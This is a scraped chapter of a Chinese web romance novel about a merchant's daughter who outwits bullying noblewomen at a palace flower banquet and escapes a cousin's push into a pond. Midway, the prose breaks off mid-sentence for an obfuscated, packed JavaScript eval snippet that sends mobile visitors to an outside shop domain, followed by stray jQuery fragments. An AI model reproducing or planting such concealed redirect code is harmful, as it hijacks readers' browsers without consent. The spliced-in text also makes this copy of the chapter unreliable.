文趣网 > 其他小说 > 重生后被权臣反盯上了 > 5. 花宴风波
    九月菊开最盛时,皇后特设百花宴邀请京城女眷参加。

    依着贺方澜的意,沈泠月卡点赴宴。

    她不常入京,前世因感染风寒也未曾来这百花宴,因而宴席上多数人都不认识。

    好在一身着蓝色衣裙女子主动来与她搭话:“妹妹,想必你就是靖南王妃了?”

    “这外头人多嘈杂,怕是扰了雅兴,不如我带你去那边坐坐如何?”

    女子不等她回答,便带她到湖心亭。

    沈泠月打量起她的打扮。

    发间斜插一支赤金累丝凤簪,行走间羊脂玉环扣琳琅作响——一副世家贵女的做派。

    她不过是未过门的王妃,靖南王又地处衡州,离京城甚远,若说是讨好未免太过牵强,世家贵女断不可能放下面子主动来找她一商贾之女。

    “妹妹,你不常参与此等宴席,想必对我们都不熟悉,”蓝色衣裙女子笑意盈盈,“我乃襄国公之女裴川,她们三位分别是吏部李侍郎之女李明昭、都察院左都御史之女张玉兰还有内阁首辅的孙女沈素瑶。”

    说罢,她将茶盏轻轻搁在石桌上,等着沈泠月答话。

    湖心亭只有一张圆桌,配了四把石凳,眼下除沈泠月之外,其余四人都稳稳当当坐于石凳之上。

    她算是看出来了,这几人摆明了是要给她下马威的。

    就连她堂姐沈素瑶也不例外。

    果真是主家看不起旁支,士瞧不起商。

    沈泠月并不看她们四人,转而避开石凳,径直走至亭栏边,望向湖中荷花,悠悠道:“我的确不常入宫,原以为湖心亭中能欣赏一番水天一色的美景,谁承想……”

    话音至此,她没在接着说,而是与裴川对视,莞尔一笑。

    越过裴川肩头,她瞧见花间廊下贺方澜正抱臂而立,眼神恰好落在湖心亭。

    本想不浪费口舌一走了之的沈泠月莫名停住脚步,朝石凳走近几步。

    沈素瑶比裴川先开了口:“我这堂妹初来京城,自然不习惯京中规矩,这也怪我,平时在京城习惯了,便也以为这些旁支自小也是耳濡目染了。”

    她施施然挽起沈泠月小臂:“泠月,虽然靖南王已向圣上请了旨,可毕竟圣旨未下,说到底你也只是个准王妃,论辈分还是得对裴姐姐行个礼不是?”

    沈泠月紧盯不远处的贺方澜。

    他似乎是冲沈泠月挑了挑眉,饶有兴趣地看她会如何做。

    沈泠月福至心灵,瞬间从眼底挤出几滴泪水,怯生生道:“多谢堂姐提醒,我自幼长于乡野山间,散漫惯了,竟一时忘了规矩。”

    她微微屈膝下蹲,颔首低头:“泠月见过四位姐姐。”

    再抬头时贺方澜已不见踪影,沈泠月余光瞟了一圈,见四下并无锦衣卫踪迹,抬手刚要擦掉淌在脸颊的几滴眼泪,忽而又止住动作,不动声色撇开沈素瑶的手,话音一转:“可堂姐既知我是靖南王已请旨,陛下亲口答应的准王妃,按你自小长于京城的道理,便应知道宗亲在上,臣女在下的道理,真论起来堂姐你也得对我行礼才是啊。”

    张玉兰是个急性子,眼见被沈泠月摆了一道,愤起嘲讽:“不过是靠着一桩婚事抬了身份,世人谁不知道你家是靠卖纸维持生计?如今竟也敢在这种场合端起架子来了?”

    “我江南沈家供国子监文牍,光明磊落,张小姐如此看不起商贾营生,怎知令尊上奏弹劾所用笔笺不是我沈家提供?”

    沈泠月缓缓绕过石凳,走到李明昭近前:“我瞧这里面最聪明的当属李小姐了,从头到尾只言不语。”

    “也是,有人冲在前面出头的时候,总得有人在一旁看看谁更蠢些。”

    “怎么样?”沈泠月扫视过众人,“看出来了吗谁最蠢了吗?若没有的话我倒是可以告诉你。”

    沈泠月随意一指沈素瑶:“这里面就数我这位堂姐最是淳朴了,同出自沈家,堂姐却大义灭亲,当真是懂礼数知廉耻啊。”

    眼见几人的脸青一阵白一阵,沈泠月心情大好,不多留恋,向后院假山行去。

    眼下这时节正是秋海棠盛开之时,既然来了百花宴,无论如何都得瞧上一瞧。

    北墙下遍植秋海棠,放眼望去宛若一片粉色胭脂海。

    妙禾刚刚敢怒不敢言,现在见四下无人愤愤道:“小姐,我就说这百花宴不该来的,家姐跟我说过,京中妇人知人知面不知心,跟她们打交道免不了费心费力,你……”

    她话还没说话,一只手突然出现,将沈泠月拽入厢房中。

    “救……”

    “嘘,”贺方澜将她堵在墙角,死死捂住她的嘴,示意她噤声,“让你的婢女别再拍门了。”

    沈泠月一口咬上他手心,逼得他吃痛松开。

    她缓缓挪到门边:“妙禾,我没事,你别拍了,我等会儿便出去。”

    妙禾却不死心,还在门外说些什么,眼见无人回答,只好恹恹闭嘴。

    贺方澜将沈泠月重新拽回墙角。

    “你们京城人士都这么无礼吗?”沈泠月压低声音,但语气不善,“方才你也看到了,我与她们无冤无仇,为何非得欺辱于我?”

    她生的漂亮,脸上哭过的泪痕还在,睫毛上挂着的眼泪随说话而上下震颤,眼眶微红,叫人看了骤生怜意。

    方寸之间,近得能听到沈泠月细微的抽噎声。

    贺方澜拭去她眼角将落不落的一滴泪,脸上却毫无表情:“襄国公之女平日里嚣张跋扈惯了,是个没长脑子的蠢货,但我看沈小姐却未必如此。”

    沈泠月一时之间忘了抽噎:“什么意思?”

    贺方澜居高临下盯住她:“不是说让靖南王退婚吗?”

    沈泠月歪头疑惑。

    “沈素瑶睚眦必报,方才你那寥寥几句怕是让她气得牙根痒痒,说不定已经在后院池塘等着堵你了,”贺方澜摸起她的右手,“刚刚见你演技不错,当面一套背后一套,等会儿把这架势拿出来就行。”

    说罢,他并不给沈泠月追问的机会,一个箭步将门打开,在阴暗中彬彬有礼道:“请吧。”

    动作却并非如此,他直接将沈泠月拎着扔了出去。

    “小姐,你没事吧?”妙禾扶住踉跄的沈泠月,直望厢房里张望。

    “我没事,你别喊了,”沈泠月想了想,补充道,“那是我情夫,还是低调些为好。”

    妙禾想说的话尽数卡在嗓子眼,一时之间噎得她咳嗽不已。

    厢房外,不出贺方澜所料,沈素瑶果真带着婢女在假山旁徘徊。

    她猛戳婢女额头:“你不是说她往这边走了吗?”

    婢女连忙道:“奴婢刚刚的确是见她往后院走了,可具体是在哪奴婢就不知道了……”

    沈泠月暗自叹了口气,状似无意碰到廊下铃铛,丁零当啷之声引得沈素瑶回头望来。

    她隐约猜到贺方澜想要做什么了。

    “泠月!”

    沈素瑶见到她的一刹那仿佛换了个人,喜笑颜颜:“方才是我考虑不周,竟不知我那好姐妹会出言相讽,泠月,你不会怪我吧?”

    沈泠月面上不显,跟随堂姐慢慢挪向池塘:“堂姐这是哪

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490814|202215||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里的话,你我才是有血缘关系的姐妹,方才我气血上涌,一时疏忽话也说重了些。”

    她心底里默默朝沈素瑶竖起大拇指,这堂姐的演技,居然比她还胜出一筹,怪不得都说京城水深,改日定得向堂姐好好讨教才是。

    “话说妹妹怎得会与靖南王相识?”沈素瑶好奇,“叔父是做笔墨纸砚生意的,按理说与靖南王交情不深呀。”

    如何相识……

    沈泠月思绪被勾回那年深秋雨季。

    那日她本是去城郊查看纸坊原料,途径一处河畔渡口时突逢大雨,无奈之下只好就近到亭中避雨。

    恰好也有一位男子在此避雨。

    那人穿一身常服,戴一顶草帽,只随身带两名侍从,可沈泠月对他熟悉至极,一眼便认出那是梁烨。

    她从未有这样近的机会接近梁烨,这或许是她与梁烨第一次也是最后一次近距离接触。

    暴雨倾盆,一时间难以前行,未曾料到梁烨竟先与她打开话匣。

    此后又有几次偶然相遇,直到有地痞刁难纸坊伙计,幸得梁烨路过解围,一来二去两人竟也熟络起来。

    当时不觉有异,现在想来……

    沈泠月自嘲一笑,哪里是什么巧合,都是精心设计罢了。

    往日种种烂于心底,沈泠月只道:“机缘巧合罢。”

    沈素瑶也并非想刨根问底,只寻个话头而已,见她不愿多说便换了话题:“妹妹,你看这红蓼,色泽鲜丽,恰好配你今日这一身。”

    “是吗?”沈泠月心下了然,俯身去够一株红蓼。

    一只手无声无息靠近她背后。

    同时她也将手伸向沈素瑶。

    一瞬间,沈泠月心下闪过许多念头。

    若沈素瑶不能被及时救上来,她是否会因谋杀而下狱?

    即使救上来了,照沈素瑶的秉性,不扒她一层皮誓不罢休,届时她又当如何?

    ……

    电光火石间,沈素瑶的手已附到她背上。

    眼见沈泠月就要被推下水,忽然,一块石子击在沈素瑶腘窝!

    她右膝一软,直直扑入水中。

    沈泠月踉跄一下,堪堪跪倒在池塘边。

    “来人呐!有人落水啦!”

    沈素瑶不善水性,在水中胡乱扑腾,溅起的水花浇了沈泠月满头满脸。

    待人扑腾得快没劲时,贺方澜这才姗姗来迟,跳入水中将沈素瑶救上岸。

    闻声而来的各家女眷将后院围个水泄不通。

    “好端端的怎么有人落水了?”“那不是沈首辅孙女吗?旁边那个像是靖南王妃啊!”“那靖南王妃连衣服都没湿,说不定就是她把人推下去的呢!”“谁说不是?一朝山鸡变凤凰,做派还是野丫头的做派!”

    沈泠月从恍惚中抽身而出,深吸一口气定神,故作慌乱道:“不是我……真的不是我……是她自己掉下去的……”

    贺方澜着人取来干衣披风,让婢女给沈素瑶披上,随后对围观者道:“御宴禁地,喧哗非议成何体统!若有再敢造谣生事扰乱规矩者,即刻拿下!”

    众人不过是看个热闹,眼见锦衣卫发话纷纷离去。

    “他们没造谣!”沈素瑶在地上颤抖不已,指尖指向沈泠月,“都是她!是她推的我!”

    贺方澜顺着她的手指看向沈泠月,冷硬道:“伤者先妥善安置,沈氏与其他目睹之人随我至偏殿,待本官逐一问话,查明原委,定不让有罪之人脱身。”

    “请吧,沈小姐。”

    他微微侧身,眼底幽暗不明。